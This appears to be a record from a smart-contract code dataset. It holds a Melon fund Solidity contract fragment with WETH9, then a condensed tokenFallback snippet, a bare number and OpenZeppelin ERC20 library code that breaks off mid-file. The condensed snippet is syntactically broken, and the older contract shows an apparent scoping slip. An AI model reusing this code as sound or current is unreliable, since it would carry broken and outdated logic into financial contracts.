order.status = OrderStatus.cancelled; OrderUpdated(id); } // PUBLIC METHODS // PUBLIC METHODS : ERC223 /// @dev Standard ERC223 function that handles incoming token transfers. /// @dev This type of redemption can be seen as a "market order", where price is calculated at execution time /// @param ofSender Token sender address. /// @param tokenAmount Amount of tokens sent. /// @param metadata Transaction metadata. function tokenFallback( address ofSender, uint tokenAmount, bytes metadata ) { if (msg.sender != address(this)) { // when ofSender is a recognized exchange, receive tokens, otherwise revert for (uint i; i < exchanges.length; i++) { if (exchanges[i].exchange == ofSender) return; // receive tokens and do nothing } revert(); } else { // otherwise, make a redemption request requests.push(Request({ participant: ofSender, status: RequestStatus.active, requestType: RequestType.tokenFallbackRedeem, requestAsset: address(QUOTE_ASSET), // redeem in QUOTE_ASSET shareQuantity: tokenAmount, giveQuantity: tokenAmount, // shares being sent receiveQuantity: 0, // value of the shares at request time timestamp: now, atUpdateId: module.pricefeed.getLastUpdateId() })); RequestUpdated(getLastRequestId()); } } // PUBLIC METHODS : ACCOUNTING /// @notice Calculates gross asset value of the fund /// @dev Decimals in assets must be equal to decimals in PriceFeed for all entries in AssetRegistrar /// @dev Assumes that module.pricefeed.getPrice(..) returns recent prices /// @return gav Gross asset value quoted in QUOTE_ASSET and multiplied by 10 ** shareDecimals function calcGav() returns (uint gav) { // prices quoted in QUOTE_ASSET and multiplied by 10 ** assetDecimal address[] memory tempOwnedAssets; // To store ownedAssets tempOwnedAssets = ownedAssets; delete ownedAssets; for (uint i = 0; i < tempOwnedAssets.length; ++i) { address ofAsset = tempOwnedAssets[i]; // assetHoldings formatting: mul(exchangeHoldings, 10 ** assetDecimal) uint assetHoldings = add( uint(AssetInterface(ofAsset).balanceOf(this)), // asset base units held by fund quantityHeldInCustodyOfExchange(ofAsset) ); // assetPrice formatting: mul(exchangePrice, 10 ** assetDecimal) var (isRecent, assetPrice, assetDecimals) = module.pricefeed.getPrice(ofAsset); if (!isRecent) { revert(); } // gav as sum of mul(assetHoldings, assetPrice) with formatting: mul(mul(exchangeHoldings, exchangePrice), 10 ** shareDecimals) gav = add(gav, mul(assetHoldings, assetPrice) / (10 ** uint256(assetDecimals))); // Sum up product of asset holdings of this vault and asset prices if (assetHoldings != 0 || ofAsset == address(QUOTE_ASSET) || ofAsset == address(NATIVE_ASSET) || isInOpenMakeOrder[ofAsset]) { // Check if asset holdings is not zero or is address(QUOTE_ASSET) or in open make order ownedAssets.push(ofAsset); } else { isInAssetList[ofAsset] = false; // Remove from ownedAssets if asset holdings are zero } PortfolioContent(assetHoldings, assetPrice, assetDecimals); } } /** @notice Calculates unclaimed fees of the fund manager @param gav Gross asset value in QUOTE_ASSET and multiplied by 10 ** shareDecimals @return { "managementFees": "A time (seconds) based fee in QUOTE_ASSET and multiplied by 10 ** shareDecimals", "performanceFees": "A performance (rise of sharePrice measured in QUOTE_ASSET) based fee in QUOTE_ASSET and multiplied by 10 ** shareDecimals", "unclaimedfees": "The sum of both managementfee and performancefee in QUOTE_ASSET and multiplied by 10 ** shareDecimals" } */ function calcUnclaimedFees(uint gav) view returns ( uint managementFee, uint performanceFee, uint unclaimedFees) { // Management fee calculation uint timePassed = sub(now, atLastUnclaimedFeeAllocation.timestamp); uint gavPercentage = mul(timePassed, gav) / (1 years); managementFee = wmul(gavPercentage, MANAGEMENT_FEE_RATE); // Performance fee calculation // Handle potential division through zero by defining a default value uint valuePerShareExclMgmtFees = totalSupply > 0 ? calcValuePerShare(sub(gav, managementFee), totalSupply) : toSmallestShareUnit(1); if (valuePerShareExclMgmtFees > atLastUnclaimedFeeAllocation.highWaterMark) { uint gainInSharePrice = sub(valuePerShareExclMgmtFees, atLastUnclaimedFeeAllocation.highWaterMark); uint investmentProfits = wmul(gainInSharePrice, totalSupply); performanceFee = wmul(investmentProfits, PERFORMANCE_FEE_RATE); } // Sum of all FEES unclaimedFees = add(managementFee, performanceFee); } /// @notice Calculates the Net asset value of this fund /// @param gav Gross asset value of this fund in QUOTE_ASSET and multiplied by 10 ** shareDecimals /// @param unclaimedFees The sum of both managementFee and performanceFee in QUOTE_ASSET and multiplied by 10 ** shareDecimals /// @return nav Net asset value in QUOTE_ASSET and multiplied by 10 ** shareDecimals function calcNav(uint gav, uint unclaimedFees) view returns (uint nav) { nav = sub(gav, unclaimedFees); } /// @notice Calculates the share price of the fund /// @dev Convention for valuePerShare (== sharePrice) formatting: mul(totalValue / numShares, 10 ** decimal), to avoid floating numbers /// @dev Non-zero share supply; value denominated in [base unit of melonAsset] /// @param totalValue the total value in QUOTE_ASSET and multiplied by 10 ** shareDecimals /// @param numShares the number of shares multiplied by 10 ** shareDecimals /// @return valuePerShare Share price denominated in QUOTE_ASSET and multiplied by 10 ** shareDecimals function calcValuePerShare(uint totalValue, uint numShares) view pre_cond(numShares > 0) returns (uint valuePerShare) { valuePerShare = toSmallestShareUnit(totalValue) / numShares; } /** @notice Calculates essential fund metrics @return { "gav": "Gross asset value of this fund denominated in [base unit of melonAsset]", "managementFee": "A time (seconds) based fee", "performanceFee": "A performance (rise of sharePrice measured in QUOTE_ASSET) based fee", "unclaimedFees": "The sum of both managementFee and performanceFee denominated in [base unit of melonAsset]", "feesShareQuantity": "The number of shares to be given as fees to the manager", "nav": "Net asset value denominated in [base unit of melonAsset]", "sharePrice": "Share price denominated in [base unit of melonAsset]" } */ function performCalculations() view returns ( uint gav, uint managementFee, uint performanceFee, uint unclaimedFees, uint feesShareQuantity, uint nav, uint sharePrice ) { gav = calcGav(); // Reflects value independent of fees (managementFee, performanceFee, unclaimedFees) = calcUnclaimedFees(gav); nav = calcNav(gav, unclaimedFees); // The value of unclaimedFees measured in shares of this fund at current value feesShareQuantity = (gav == 0) ? 0 : mul(totalSupply, unclaimedFees) / gav; // The total share supply including the value of unclaimedFees, measured in shares of this fund uint totalSupplyAccountingForFees = add(totalSupply, feesShareQuantity); sharePrice = nav > 0 ? calcValuePerShare(gav, totalSupplyAccountingForFees) : toSmallestShareUnit(1); // Handle potential division through zero by defining a default value } /// @notice Converts unclaimed fees of the manager into fund shares /// @return sharePrice Share price denominated in [base unit of melonAsset] function calcSharePriceAndAllocateFees() public returns (uint) { var ( gav, managementFee, performanceFee, unclaimedFees, feesShareQuantity, nav, sharePrice ) = performCalculations(); createShares(owner, feesShareQuantity); // Updates totalSupply by creating shares allocated to manager // Update Calculations uint highWaterMark = atLastUnclaimedFeeAllocation.highWaterMark >= sharePrice ? atLastUnclaimedFeeAllocation.highWaterMark : sharePrice; atLastUnclaimedFeeAllocation = Calculations({ gav: gav, managementFee: managementFee, performanceFee: performanceFee, unclaimedFees: unclaimedFees, nav: nav, highWaterMark: highWaterMark, totalSupply: totalSupply, timestamp: now }); FeesConverted(now, feesShareQuantity, unclaimedFees); CalculationUpdate(now, managementFee, performanceFee, nav, sharePrice, totalSupply); return sharePrice; } // PUBLIC : REDEEMING /// @notice Redeems by allocating an ownership percentage only of requestedAssets to the participant /// @dev Independent of running price feed! Note: if requestedAssets != ownedAssets then participant misses out on some owned value /// @param shareQuantity Number of shares owned by the participant, which the participant would like to redeem for individual assets /// @param requestedAssets List of addresses that consitute a subset of ownedAssets. /// @return Whether all assets sent to shareholder or not function emergencyRedeem(uint shareQuantity, address[] requestedAssets) public pre_cond(balances[msg.sender] >= shareQuantity) // sender owns enough shares returns (bool) { address ofAsset; uint[] memory ownershipQuantities = new uint[](requestedAssets.length); // Check whether enough assets held by fund for (uint i = 0; i < requestedAssets.length; ++i) { ofAsset = requestedAssets[i]; uint assetHoldings = add( uint(AssetInterface(ofAsset).balanceOf(this)), quantityHeldInCustodyOfExchange(ofAsset) ); if (assetHoldings == 0) continue; // participant's ownership percentage of asset holdings ownershipQuantities[i] = mul(assetHoldings, shareQuantity) / totalSupply; // CRITICAL ERR: Not enough fund asset balance for owed ownershipQuantitiy, eg in case of unreturned asset quantity at address(exchanges[i].exchange) address if (uint(AssetInterface(ofAsset).balanceOf(this)) < ownershipQuantities[i]) { isShutDown = true; ErrorMessage("CRITICAL ERR: Not enough assetHoldings for owed ownershipQuantitiy"); return false; } } // Annihilate shares before external calls to prevent reentrancy annihilateShares(msg.sender, shareQuantity); // Transfer ownershipQuantity of Assets for (uint j = 0; j < requestedAssets.length; ++j) { // Failed to send owed ownershipQuantity from fund to participant ofAsset = requestedAssets[j]; if (ownershipQuantities[j] == 0) { continue; } else if (!AssetInterface(ofAsset).transfer(msg.sender, ownershipQuantities[j])) { revert(); } } Redeemed(msg.sender, now, shareQuantity); return true; } // PUBLIC : FEES /// @dev Quantity of asset held in exchange according to associated order id /// @param ofAsset Address of asset /// @return Quantity of input asset held in exchange function quantityHeldInCustodyOfExchange(address ofAsset) returns (uint) { uint totalSellQuantity; // quantity in custody across exchanges uint totalSellQuantityInApprove; // quantity of asset in approve (allowance) but not custody of exchange for (uint i; i < exchanges.length; i++) { if (exchangeIdsToOpenMakeOrderIds[i][ofAsset] == 0) { continue; } var (sellAsset, , sellQuantity, ) = exchanges[i].exchangeAdapter.getOrder(exchanges[i].exchange, exchangeIdsToOpenMakeOrderIds[i][ofAsset]); if (sellQuantity == 0) { exchangeIdsToOpenMakeOrderIds[i][ofAsset] = 0; } totalSellQuantity = add(totalSellQuantity, sellQuantity); if (exchanges[i].isApproveOnly) { totalSellQuantityInApprove += sellQuantity; } } if (totalSellQuantity == 0) { isInOpenMakeOrder[sellAsset] = false; } return sub(totalSellQuantity, totalSellQuantityInApprove); // Since quantity in approve is not actually in custody } // PUBLIC VIEW METHODS /// @notice Calculates sharePrice denominated in [base unit of melonAsset] /// @return sharePrice Share price denominated in [base unit of melonAsset] function calcSharePrice() view returns (uint sharePrice) { (, , , , , sharePrice) = performCalculations(); return sharePrice; } function getModules() view returns (address, address, address) { return ( address(module.pricefeed), address(module.compliance), address(module.riskmgmt) ); } function getLastOrderId() view returns (uint) { return orders.length - 1; } function getLastRequestId() view returns (uint) { return requests.length - 1; } function getNameHash() view returns (bytes32) { return bytes32(keccak256(name)); } function getManager() view returns (address) { return owner; } } contract WETH9_ { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; function() public payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; Deposit(msg.sender, msg.value); } function withdraw(uint wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; msg.sender.transfer(wad); Withdrawal(msg.sender, wad); } function totalSupply() public view returns (uint) { return this.balance; } function approve(address guy, uint wad) public returns (bool) { allowance[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; Transfer(src, dst, wad); return true; } }
when ofSender is a recognized exchange, receive tokens, otherwise revert
function cancelOrder(uint exchangeNumber, uint id) external pre_cond(isOwner() || isShutDown) } function tokenFallback( address ofSender, uint tokenAmount, bytes metadata if (msg.sender != address(this)) { for (uint i; i < exchanges.length; i++) { } revert(); requests.push(Request({ participant: ofSender, status: RequestStatus.active, requestType: RequestType.tokenFallbackRedeem, shareQuantity: tokenAmount, timestamp: now, atUpdateId: module.pricefeed.getLastUpdateId() })); RequestUpdated(getLastRequestId()); }
12,885,136
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IStrategy { function rewards() external view returns (address); function gauge() external view returns (address); function underlying() external view returns (address); function timelock() external view returns (address); function deposit() external; function withdraw(uint256) external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function harvest() external; function salvage(address) external; function setTimelock(address _timelock) external; function setGovernance(address _governance) external; function setTreasury(address _treasury) external; } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's 